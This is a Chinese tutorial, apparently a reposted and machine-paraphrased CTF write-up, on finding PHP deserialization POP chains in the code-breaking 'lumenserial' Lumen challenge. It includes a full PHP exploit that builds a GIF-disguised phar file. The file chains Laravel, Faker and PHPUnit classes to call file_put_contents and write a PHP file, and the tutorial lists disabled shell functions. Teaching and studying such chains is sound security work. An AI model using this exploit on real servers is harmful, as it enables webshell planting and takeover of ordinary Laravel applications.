您现在的位置是:首页 > 密码破解

PHP反序列化新手入门之寻找POP链(一)

作者:果E安全网时间:2020-10-24 01:20:38分类:密码破解

简介文中以code-breaking中lumenserial为例子,训练PHP反序列化POP链的寻找,题目详细地址:。软件环境规定PHP>=7.1.3OpenSSLPHPExtensionPDOPHPExtensionMbstringPHPExtension安裝题目自然环境运作题目编码大量请参照:PS:升级P牛制做的docker自然环境在routes/web.php文档中,界定了web程序流程

文中以 code-breaking 中 lumenserial 为例子,训练PHP反序列化 POP链 的寻找,题目详细地址:https://code-breaking.com/puzzle/7/ 。

软件环境规定

PHP >=7.1.3

OpenSSL PHP Extension

PDO PHP Extension

Mbstring PHP Extension

安裝题目自然环境

1557982464_5cdced0089659.png!small

运作题目编码

1557982473_5cdced09a8140.png!small

大量请参照:https://laravel-china.org/docs/lumen/5.7/installation/2402

PS:升级P牛制做的docker自然环境 https://github.com/phith0n/code-breaking

在 routes/web.php 文档中,界定了 web 程序流程的路由器,在我们以 GET 或 POST 方法浏览 http://website/server/editor 的情况下,程序流程便会启用 app/Http/Controllers/EditorController.php 类中的 main 方法。

1557982486_5cdced1647925.png!small

大家从而看 app/Http/Controllers/EditorController.php 文档,迅速便会发觉有一个 download 方法中的 $url 变量沒有历经一切解决用在了 file_get_contents 涵数中, download 方法编码以下:

1557982494_5cdced1ebc1ac.png!small

这时候大家便考虑到 $url 变量是不是可控,假如可控,便能够运用 phar反序列化 。大家回朔寻找 $url 变量来源于,会发觉在 doCatchimage 方法中,该变量值是以 $sources 变量来。而 $sources 变量由客户传出的 source 主要参数决策(根据 http://website/server/editor/?action=Catchimage&source[]=phar://xxx.gif 即可控制 $url 变量),有关编码以下:

1557982503_5cdced27cfde9.png!small

那麼接下去,大家就需要寻找可运用的类方法,随后根据 phar反序列化 开启系统漏洞。

在寻找 pop链 以前,大家何不先看一下 phpggc 中现有的 4种 有关 Laravel 架构 RCE 的 payload 形成方法,便于大家更迅速的找到题中的 pop链 ,其 4种 Laravel 架构 RCE 的 payload 形成方法各自以下:

第一种

1557982525_5cdced3def2ea.png!small

其反序列化时,类方法启用全过程以下:

1557982532_5cdced440c067.png!small

第二种

1557982541_5cdced4d45ba2.png!small

其反序列化时,类方法启用全过程以下:

1557982555_5cdced5b5d568.png!small

第三种

1557982561_5cdced61f1111.png!small

其反序列化时,类方法启用全过程以下:

1557982568_5cdced6868ff7.png!small

第4种

1557982620_5cdced9ce84f5.png!small

其反序列化时,类方法启用全过程以下:

1557982584_5cdced78b5b7b.png!small

这儿我选择 第一种 的 phar反序列化 实行結果图(题目自然环境为 PHP7.1.16 ):

1557982591_5cdced7fbad3b.png!small

殊不知本题目的自然环境也有一些附加的限定,比如 PHP 版本号为 7.2.14 ,且设定了禁止使用了以下涵数和类(这一根据 phpggc 的第一个 Laravel 架构 RCE 形成 phpinfo 涵数的运用 phar 就可以见到):

disable_functions:

system,shell_exec,passthru,exec,popen,proc_open,pcntl_exec,mail,apache_setenv,mb_send_mail,dl,set_time_limit,ignore_user_abort,symlink,link,error_log

?

disable_classes:

GlobIterator,DirectoryIterator,FilesystemIterator,RecursiveDirectoryIterator

因为在 PHP7.x 版本号中,许多 涵数严禁动态性启用了,再加上上边的这种限定,因此 大家还必须寻找别的运用点,融合所述 POP 链,进行写 shell 。

我们可以发觉上边的4种 RCE 通道点都是以 PendingBroadcast 类的 __destruct 方法刚开始的,那麼大家主要检索 dispatch 方法和 __call 方法。历经一番检索,发觉 ValidGenerator 类中的 __call 比较好运用。

1557982918_5cdceec6a74fb.png!small

我们可以见到其编码中先启用了 call_user_func_array 涵数,随后将 call_user_func_array 涵数的实行結果又传到 call_user_func 涵数,要是大家能控制住 call_user_func_array 涵数的实行結果,等同于 call_user_func 涵数的2个主要参数都可控,那样大家便能够启用随意类方法。

大家然后检索能够用以操纵 call_user_func_array 涵数实行結果的类,这儿我找到了 DefaultGenerator 类的 __call 方法,我们可以见到返回值 $this->default 彻底可控。

1557982930_5cdceed2ceea9.png!small

如今 call_user_func(?res) 中的2个主要参数都可控了。那麼如果我们想写shell,就需要启用 file_put_contents 涵数,而这一涵数必须2个主要参数,因此 立即根据 call_user_func 涵数是没法应用该涵数的,大家必须根据 call_user_func_array 涵数来应用 file_put_contents 涵数,使用方法形如: call_user_func_array('file_put_contents',array('shell.php','test')) 。

根据立即检索 call_user_func_array 涵数,大家会发觉2个比较好运用的类涵数。可是这儿的第一个 ClosureWrapper 类我们无法运用,因此 得运用 ReturnCallback 类的 invoke 方法,实际编码以下:

1557982940_5cdceedc14ce9.png!small

很显著 invoke 方法2个主要参数都可控,如今大家要是结构好一个 Invocation 类目标就可以。根据检索,大家会发觉 Invocation 是一个插口,那麼大家寻找他的完成类就可以。这儿我找到了 StaticInvocation 类来完成上告作用,其编码实际以下:

1557982949_5cdceee50279f.png!small

这样子,大家的全部 POP链 就结构好啦。下边是 exp :

<?php

namespace Illuminate\\Broadcasting{

? ?class PendingBroadcast{

? ? ? ?protected $events;

? ? ? ?protected $event;

? ? ? ?function __construct($events, $event){

? ? ? ? ? ?$this->events = $events;

? ? ? ? ? ?$this->event = $event;

? ? ? }

? }

};

namespace Faker{

? ?class DefaultGenerator{

? ? ? ?protected $default;

? ? ? ?public function __construct($default = null){

? ? ? ? ? ?$this->default = $default;

? ? ? }

? }

? ?class ValidGenerator{

? ? ? ?protected $generator;

? ? ? ?protected $validator;

? ? ? ?protected $maxRetries;

? ? ? ?// __call方法中有call_user_func_array、call_user_func

? ? ? ?public function __construct($generator, $validator = null, $maxRetries = 10000)

? ? ?{

? ? ? ? ? ?$this->generator = $generator;

? ? ? ? ? ?$this->validator = $validator;

? ? ? ? ? ?$this->maxRetries = $maxRetries;

? ? ? }

? }

};

namespace PHPUnit\\Framework\\MockObject\\Stub{

? ?class ReturnCallback

?{

? ? ? ?private $callback;

? ? ? ?public function __construct($callback )

  ? ? ? {

  ? ? ? ? ? ?$this->callback = $callback;

  ? ? ? }

  ? }

  };

  namespace PHPUnit\Framework\MockObject\Invocation{

  ? ?class StaticInvocation{

  ? ? ? ?private $parameters;

  ? ? ? ?public function __construct($parameters){

  ? ? ? ? ? ?$this->parameters = $parameters;

  ? ? ? }

  ? }

  };

  namespace{

  ? ?$function = 'file_put_contents';

  ? ?$parameters = array('/var/www/html/11.php','<?php phpinfo();?>');

  ? ?$staticinvocation = new PHPUnit\Framework\MockObject\Invocation\StaticInvocation($parameters);

  ? ?$returncallback = new PHPUnit\Framework\MockObject\Stub\ReturnCallback($function);

  ? ?$defaultgenerator = new Faker\DefaultGenerator($staticinvocation);

  ? ?$validgenerator = new Faker\ValidGenerator($defaultgenerator,array($returncallback,'invoke'),2);

  ? ?$pendingbroadcast = new Illuminate\Broadcasting\PendingBroadcast($validgenerator,123);

  ? ?$o = $pendingbroadcast;

  ? ?$filename = 'poc.phar';// 后缀必须为phar,否则程序无法运行

  ? ?file_exists($filename) ? unlink($filename) : null;

  ? ?$phar=new Phar($filename);

  ? ?$phar->startBuffering();

  ? ?$phar->setStub("GIF89a<?php __HALT_COMPILER(); ?>");

  ? ?$phar->setMetadata($o);

  ? ?$phar->addFromString("foo.txt","bar");

  ? ?$phar->stopBuffering();

  };

  ?

  ?>

  我们再通过下面这张图片,来理清整个?POP链?的调用过程。

  19.png

郑重声明:

果E安全网所有活动均为互联网所得,如有侵权请联系本站删除处理,转载请注明本站地址。

我来说两句